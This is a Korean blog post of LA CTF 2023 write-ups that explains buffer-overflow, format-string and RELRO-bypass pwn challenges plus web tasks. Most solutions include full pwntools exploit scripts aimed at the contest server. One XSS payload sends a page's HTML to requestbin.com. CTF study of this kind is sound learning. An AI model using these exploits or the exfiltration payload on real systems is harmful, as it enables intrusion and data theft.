lactf 2023 writeup

1. [pwn] gatekeep

이 문제는 단순 bof를 통해 다른 변수의 값을 변조시켜 flag를 획득하는 문제이다.
lactf{sCr3am1nG_cRy1Ng_tHr0w1ng_uP}
2. [pwn] bot

이 문제의 c코드는 다음과 같다.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(void) { setbuf(stdout, NULL); char input[64]; volatile int give_flag = 0; puts("hi, how can i help?"); gets(input); if (strcmp(input, "give me the flag") == 0) { puts("lol no"); } else if (strcmp(input, "please give me the flag") == 0) { puts("no"); } else if (strcmp(input, "help, i have no idea how to solve this") == 0) { puts("L"); } else if (strcmp(input, "may i have the flag?") == 0) { puts("not with that attitude"); } else if (strcmp(input, "please please please give me the flag") == 0) { puts("i'll consider it"); sleep(15); if (give_flag) { puts("ok here's your flag"); system("cat flag.txt"); } else { puts("no"); } } else { puts("sorry, i didn't understand your question"); exit(1); } }
위 코드를 보면 gets()
함수로 입력을 받고 있기 때문에 bof 공격에 취약하다. checksec으로 확인해보면, 카나리는 없는 것을 볼 수 있다.

strcmp()
함수로 사용자의 입력값을 검증하고 있는데, 입력값이 일치하지 않으면 exit()
함수로 프로그램을 종료 시킨다. 즉, 입력 값을 만족시키지 않으면 bof를 한다고 해도 성공할 수 없다.
따라서 입력 값을 만족시키는 값을 넣고 \x00
값을 넣은 뒤, 이후에 bof payload를 작성하면 문제를 해결할 수 있다.
bof로 libc base
를 leak 하고 libc_system
함수의 주소를 찾아 return 주소에 overwrite 한다.
from pwn import * context.log_level = "debug" pop_rdi_ret = 0x40133b # p = process("./bot") p = remote("lac.tf", "31180") e = ELF("./bot") l = ELF("./libc-2.31.so") payload = b"give me the flag\x00" payload += (0x48 - len(payload)) * b"A" payload += p64(pop_rdi_ret) payload += p64(e.got["gets"]) payload += p64(e.plt["puts"]) payload += p64(e.symbols["main"]) p.sendlineafter(b"hi, how can i help?", payload) p.recvuntil(b"\x6f\x0a") gets_libc = u64(p.recv(6) + b"\x00\x00") libc_base = gets_libc - l.symbols["gets"] system = libc_base + l.symbols["system"] print(f"gets_libc: {hex(gets_libc)}") print(f"libc_base: {hex(libc_base)}") payload = b"give me the flag\x00" payload += (0x48 - len(payload)) * b"A" payload += p64(pop_rdi_ret) payload += p64(e.bss() + 0x10) payload += p64(e.plt["gets"]) payload += p64(pop_rdi_ret) payload += p64(e.bss() + 0x10) payload += p64(system) p.sendlineafter(b"hi, how can i help?", payload) p.sendline("cat flag.txt") p.interactive() # lactf{hey_stop_bullying_my_bot_thats_not_nice}
3. [pwn] rickroll

이 문제는 Cheshire님과 함께 고민하여 해결했다.
제공된 c코드는 다음과 같다.
printf(buf)
에서 fsb 취약점이 발생한다.
#include <stdio.h> int main_called = 0; int main(void) { if (main_called) { puts("nice try"); return 1; } main_called = 1; setbuf(stdout, NULL); printf("Lyrics: "); char buf[256]; fgets(buf, 256, stdin); printf("Never gonna give you up, never gonna let you down\nNever gonna run around and "); printf(buf); printf("Never gonna make you cry, never gonna say goodbye\nNever gonna tell a lie and hurt you\n"); return 0; }
checksec으로 확인해보면, RELRO: Partial RELRO
이기 때문에, GOT를 overwrite 할 수 있다.
fsb로 libc_base를 leak 하고, puts 함수의 GOT를 main함수의 주소로 overwrite 하는 시나리오를 생각했다.
추가로 main_called 변수로 main 함수가 여러번 호출되었는지를 검증하고 있기 때문에, 이 변수 또한 fsb로 0으로 초기화 시킨다.

from pwn import * import sys context.log_level = "debug" # p = process("./rickroll") p = remote("lac.tf", "31135") e = ELF("./rickroll") l = e.libc # l = ELF("./libc.so.6") if len(sys.argv) != 1: script = """ b *main b *0x00000000004011c2 b *0x4011e7 b *0x4011f3 """ context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p, script) main_called = 0x40406c payload = b"%20$hn" # overwrite main_called payload += (8 - len(payload)) * b"A" payload += b"A"*8 payload += b"A"*7 payload += b"%21$hhn" # overwrite puts GOT -> main 1bit payload += b"B"*2 payload += b"A"*8 payload += b"A"*8 payload += b"A"*8 payload += b"A"*8 payload += b"A"*8 payload += b"A"*8 payload += b"A"*8 payload += b"A"*7 payload += b"%22$hhn" # overwrite puts GOT -> main 1bit payload += b"A"*2 payload += b"%39$pAAA" # Leak address __libc_start_main payload += p64(main_called) payload += p64(e.got["puts"] + 1) payload += p64(e.got["puts"]) p.sendlineafter(b"Lyrics: ", payload) p.recvuntil(b"0x") addr = int(b"0x" + p.recv(12), 16) # local # libc_start_main = addr - 243 # libc_base = libc_start_main - l.symbols["__libc_start_main"] # system = libc_base + l.symbols["system"] # remote libc_base = addr - 0x1d0a system = libc_base + 0x23e50 binsh = libc_base + 0x174152 overwrite = system & 0x000000ffffff print(f"addr: {hex(addr)}") print(f"libc_base: {hex(libc_base)}") print(f"system: {hex(system)}") offset_1 = overwrite & 0xff offset_2 = (overwrite & 0xff00) >> 8 offset_3 = (overwrite & 0xff0000) >> 16 tmp_1 = 8 - len(f"%{offset_1}c") tmp_2 = 8 - len(f"%{256 - offset_1 + offset_2 - 4}c") tmp_3 = 8 - len(f"%{256 - offset_2 + offset_3}c") payload = b"%13$hhnA" # overwrite main_called payload += f"%{offset_1 - tmp_1 - 1}c".encode() + tmp_1 * b"A" # system+0 payload += b"%14$hhnA" # overwrite printf GOT -> system 1bit payload += f"%{256 - offset_1 + offset_2 - 4}c".encode() + tmp_2 * b"A" # system+1 payload += b"%15$hhnA" # overwrite printf+1 GOT -> system 1bit payload += f"%{256 - offset_2 - 4 + offset_3}c".encode() + tmp_3 * b"A" payload += b"%16$hhnA" payload += p64(main_called) payload += p64(e.got["printf"]) payload += p64(e.got["printf"] + 1) payload += p64(e.got["printf"] + 2) p.sendlineafter(b"Lyrics: ", payload) p.sendline(b"/bin/sh") p.interactive() # lactf{printf_gave_me_up_and_let_me_down}
4. [pwn] rut-roh-relro

이 문제는 Cheshire님과 함께 고민하여 해결했다.
이전 문제와 동일하게 fsb를 통해 문제를 해결해야 한다.
#include <stdio.h> int main(void) { setbuf(stdout, NULL); puts("What would you like to post?"); char buf[512]; fgets(buf, 512, stdin); printf("Here's your latest post:\n"); printf(buf); printf("\nWhat would you like to post?\n"); fgets(buf, 512, stdin); printf(buf); printf("\nYour free trial has expired. Bye!\n"); return 0; }
하지만, 이 바이너리는 GOT를 overwrite할 수 없다. 이렇게 Full RELRO가 적용되어 있어도 우회할 수 있는 방법이 있는데, rtld_global
구조체에 _dl_rtld_lock_recursive
와 dl_load_lock
을 system 함수로 overwrite하면 프로그램이 종료될때 실행되어 shell을 획득할 수 있다.

다른 사람들의 풀이를 보니까, 간단하게 fsb로 libc_base와 stack 주소를 leak하여 return 주소에 one_gadget을 넣어 쉽게 해결했다. https://www.youtube.com/watch?v=K5sTGQPs04M
아무튼, 아래 payload로 local에서는 성공적으로 shell을 획득했지만, remote에서는 획득하진 못했다.
같이 문제를 풀었던 분이 브포로 풀었다고 했는데,, 나중에 payload를 봐야겠다.
from pwn import * context.arch = 'amd64' context.log_level = "debug" p=process("rut_roh_relro") # p = remote("lac.tf", "31134") e=ELF("rut_roh_relro") libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") ld=ELF("/lib64/ld-linux-x86-64.so.2") if len(sys.argv) != 1: pie_base = p.libs()["/home/universe/lactf/rut-roh-relro/rut_roh_relro"] script = f""" b *{pie_base + e.symbols['main'] + 156} """ context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p, script) code_base_payload = "%10$p" code_base_payload += "%65$p" code_base_payload += "%71$p" p.sendlineafter("?\n", code_base_payload) p.recvuntil("Here's your latest post:\n") rtld_global = int(p.recvn(14),16)-2440 _dl_rtld_lock_recursive = rtld_global + 3848 dl_load_lock = rtld_global + 2312 libc_csu_init = int(p.recvn(14),16) libc_start_main = int(p.recvn(14),16)-243 code_base = libc_csu_init-e.symbols['__libc_csu_init'] libc_base = libc_start_main-libc.symbols['__libc_start_main'] ld_base = rtld_global-ld.symbols['_rtld_global'] main = code_base+e.symbols['main'] system = libc_base+libc.symbols['system'] binsh = libc_base+0x1B45BD log.info(f"_rtld_global: {hex(rtld_global)}") log.info(f"__libc_csu_init: {hex(libc_csu_init)}") log.info(f"code base: {hex(code_base)}") log.info(f"libc base: {hex(libc_base)}") log.info(f"ld base: {hex(ld_base)}") log.info(f"main: {hex(main)}") log.info(f"system: {hex(system)}") log.info(f"/bin/sh: {hex(binsh)}") log.info(f"_dl_rtld_lock_recursive: {hex(_dl_rtld_lock_recursive)}") log.info(f"dl_load_lock: {hex(dl_load_lock)}") overwrite = system & 0x000000ffffff offset_1 = overwrite & 0xff offset_2 = (overwrite & 0xff00) >> 8 offset_3 = (overwrite & 0xff0000) >> 16 payload = f"%{0x2f - 4}c".encode() + b"A" * 4 payload += b"%26$hhnA" payload += f"%{256 - 0x2f - 4 + 0x62}c".encode() + b"A" * 3 payload += b"%27$hhnA" payload += f"%{256 - 0x62 - 4 + 0x69}c".encode() + b"A" * 3 payload += b"%28$hhnA" payload += f"%{256 - 0x69 - 4 + 0x6e}c".encode() + b"A" * 3 payload += b"%29$hhnA" payload += f"%{256 - 0x6e - 4 + 0x2f}c".encode() + b"A" * 3 payload += b"%30$hhnA" payload += f"%{256 - 0x2f - 4 + 0x73}c".encode() + b"A" * 3 payload += b"%31$hhnA" payload += f"%{256 - 0x73 - 4 + 0x68}c".encode() + b"A" * 3 payload += b"%32$hhnA" # fin dl_load_lock overwrite payload += f"%{256 - 0x68 - 4 + offset_1}c".encode() + b"A" * 3 payload += b"%33$hhnA" payload += f"%{256 - offset_1 - 4 + offset_2}c".encode() + b"A" * 3 payload += b"%34$hhnA" payload += f"%{256 - offset_2 - 4 + offset_3}c".encode() + b"A" * 3 payload += b"%35$hhnA" payload += p64(dl_load_lock) payload += p64(dl_load_lock+1) payload += p64(dl_load_lock+2) payload += p64(dl_load_lock+3) payload += p64(dl_load_lock+4) payload += p64(dl_load_lock+5) payload += p64(dl_load_lock+6) payload += p64(_dl_rtld_lock_recursive) payload += p64(_dl_rtld_lock_recursive+1) payload += p64(_dl_rtld_lock_recursive+2) p.sendlineafter("?\n", payload) p.interactive()
5. [web] uuid hell

대회 당일, 포너블에 잡혀있어 대회가 끝난 뒤에 문제를 봤는데, 브포로 uuid v1 값을 알아내는 문제였다.
30분만에 풀었는데, flag를 제출하지 못해 아쉬웠다.
uuid v1은 timestamp 기준으로 생성하는 함수이다.
function randomUUID() { return uuid.v1({'node': [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69], 'clockseq': 0b10101001100100}); } app.get('/', (req, res) => { let id = req.cookies['id']; if (id === undefined || !isUuid(id)) { id = randomUUID(); res.cookie("id", id); useruuids.push(id); if (useruuids.length > 50) { useruuids.shift(); } } else if (isAdmin(id)) { res.send(process.env.FLAG); return; } res.send("You are logged in as " + id + "<br><br>" + getUsers()); }); app.post('/createadmin', (req, res) => { const adminid = randomUUID(); adminuuids.push(adminid); if (adminuuids.length > 50) { adminuuids.shift(); } res.send("Admin account created.") });
admin의 uuid 값을 알아야 flag를 획득할 수 있기 때문에, 일반 사용자의 uuid 값 생성 직후 admin uuid를 생성해 둔다.
이후 브포로 admin의 uuid 값을 찾는 payload를 작성한다.
const first = "a29e5c30" const crypto = require('crypto'); const cmp = "94c1481d868f9c2bcda23e46f9ed02ec"; for(let i = 0; i<0xffffffff; i++){ let result = `${(parseInt(first, 16) + i).toString(16)}-ac28-11ed-aa64-67696e6b6f69`; let hash = crypto.createHash('md5').update("admin" + result).digest("hex"); if(hash === cmp){ console.log(result); break; } } // lactf{uu1d_v3rs10n_1ch1_1s_n07_r4dn0m}
ctftime에 올라온 롸업에는 uuid v1에 취약점을 이용하여 풀긴 했는데,, 한번 읽어봐야겠다
CTFtime.org / LA CTF 2023 / uuid hell / Writeup
# uuid hell ## Overview - Overall difficulty for me (From 1-10 stars): ★★★★★★☆☆☆☆ - 165 solves / 391 points ## Background UUIDs are the best! I love them (if you couldn't tell)! Site: [uuid-hell.lac.tf](https://uuid-hell.lac.tf) 
이 문제는 csp를 우회하여 flag를 획득하는 문제이다.
const express = require("express"); const path = require("path"); const { v4: uuid } = require("uuid"); const cookieParser = require("cookie-parser"); const flag = process.env.FLAG; const port = parseInt(process.env.PORT) || 8080; const adminpw = process.env.ADMINPW || "placeholder"; const app = express(); const reports = new Map(); let cleanup = []; setInterval(() => { const now = Date.now(); let i = cleanup.findIndex(x => now < x[1]); if (i === -1) { i = cleanup.length; } for (let j = 0; j < i; j ++) { reports.delete(cleanup[j][0]); } cleanup = cleanup.slice(i); }, 1000 * 60); app.use(cookieParser()); app.use(express.urlencoded({ extended: false })); app.get("/flag", (req, res) => { res.status(400).send("you have to POST the flag this time >:)"); }); app.post("/flag", (req, res) => { if (req.cookies.adminpw === adminpw) { res.send(flag); } else { res.status(400).send("no hacking allowed"); } }); app.use((req, res, next) => { res.set( "Content-Security-Policy", "default-src 'none'; script-src 'unsafe-inline'" ); next(); }); app.post("/report", (req, res) => { res.type("text/plain"); const crime = req.body.crime; if (typeof crime !== "string") { res.status(400).send("no crime provided"); return; } if (crime.length > 2048) { res.status(400).send("our servers aren't good enough to handle that"); return; } const id = uuid(); reports.set(id, crime); cleanup.push([id, Date.now() + 1000 * 60 * 60 * 3]); res.redirect("/report/" + id); }); app.get("/report/:id", (req, res) => { if (reports.has(req.params.id)) { res.type("text/html").send(reports.get(req.params.id)); } else { res.type("text/plain").status(400).send("report doesn't exist"); } }); app.get("/", (req, res) => { res.sendFile(path.join(__dirname, "index.html")); }); app.listen(port, () => { console.log(`Listening on port ${port}`); });
CSP를 보면 script-src
directive는 unsafe-inline
을 허용해 주고 있다. 반면에 default-src
의 directive는 none
이다.
flag를 획득하기 위해서는 POST 방식으로 fetch등 요청을 보내야 하지만, default-src none
이기 때문에 자동적으로 connect-src none
설정이 되어 fetch 요청 등이 차단된다.
이를 우회하는 방법은 window.open
과 window.opener
를 사용하는 것이다.
우선 2개의 payload가 필요한데, 첫번째 payload는 window.open
을 사용하여 두번째 payload 새창을 띄우는 코드를 작성하고, 이후에 /flag로 POST 방식으로 요청을 보내는 submit payload를 작성한다.
<form method="POST" action="/flag"> <script> window.open("/report/second-report-id", target="_blank"); document.forms[0].submit(); </script>
첫번째 payload의 window.open()
함수를 통해 새창으로 열린 두번째 payload는 window.opener
를 통해 부모 DOM에 접근하여 /flag 페이지의 내용을 가져오는 payload를 작성한다.
<script> setTimeout(() => { location.href=`https://requestbin.com/?flag=${window.opener.document.documentElement.outerHTML}`; }, 200); </script>
lactf{m4yb3_g1v1ng_fr33_xss_1s_jus7_4_b4d_1d3a}
'🚩CTF' 카테고리의 다른 글
WACon2023 CTF Write up (0) | 2023.09.03 |
---|---|
hacktm ctf 2023 writeup (0) | 2023.02.21 |
Dicectf 2023 writeup (0) | 2023.02.08 |
DiceCTF 2022 writeup (0) | 2022.07.25 |
[WACon 2022] yet_another_baby_web (0) | 2022.06.28 |
댓글
이 글 공유하기
다른 글
-
WACon2023 CTF Write up
WACon2023 CTF Write up
2023.09.03주변에 아는 사람들이랑 총 4명이서 WACon2023 CTF에 참가했습니다. 결과는 15등으로 마무리 했네요. 1. [web] mosaic 문제 코드는 다음과 같습니다. 이 문제의 컨셉은 이미지 업로드 관련 기능을 제공합니다. from flask import Flask, render_template, request, redirect, url_for, session, g, send_from_directory import mimetypes import requests import imageio import os import sqlite3 import hashlib import re from shutil import copyfile, rmtree import numpy as np app = Flask(__na… -
hacktm ctf 2023 writeup
hacktm ctf 2023 writeup
2023.02.211. [web] Blog cookie 값을 `unserialize()` 하고 있다. 이를 활용하여 취약한 클레스를 찾다 보니, `Profile` 클래스가 눈에 들어왔다. `file_get_contents()` 함수가 `$this->picture_path` 맴버 변수 값을 통해 파일을 읽으려고 한다. 즉, `Profile` 클래스의 `picture_path` 맴버 변수를 이용하여 flag 값을 읽으면 문제를 해결할 수 있다. O:4:"User":2:{s:7:"profile";O:7:"Profile":2:{s:8:"username";s:8:"universe";s:12:"picture_path";s:46:"/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt";}s:5:"post… -
Dicectf 2023 writeup
Dicectf 2023 writeup
2023.02.08대회 당일날 웹 한문제 밖에 못 풀었지만, 이후 writeup을 보고 정리하고자 한다. 1. recursive-csp 해당 문제는 GET 파라미터로 전달한 값을 그대로 출력하여 XSS 가 가능하다. 하지만, 이 값을 암호화 하여 csp 정책에 들어가게 된다. -
DiceCTF 2022 writeup
DiceCTF 2022 writeup
2022.07.250. Intro TeamH4C에 가입하여 처음으로 참가한 CTF 대회 입니다. 저는 웹만 풀었는데,, 다른 분들이 웹 외의 분야도 많이 풀어서 19등으로 마무리 되었네요. 웹 문제는 쉬운 문제를 제외하고, 풀이를 작성하려고 합니다. 1. web / point 이 문제는 golang 으로 작성된 web 문제 입니다. go 언어에 대해 지식이 없지만, 이번 기회를 통해 풀어보려고 했습니다. POST 방식으로 전송하면, body에 특정 문자열이 있는지를 검증하고 있습니다. 아래 코드에서는 2번째 if 문에서 `what_point` 와 `\` 를 필터링 하고 있네요. 이후, `json.Unmarshal()` 함수를 통해 body 값을 json parsing 하고 있습니다. json paring 결과는 `what…
댓글을 사용할 수 없습니다.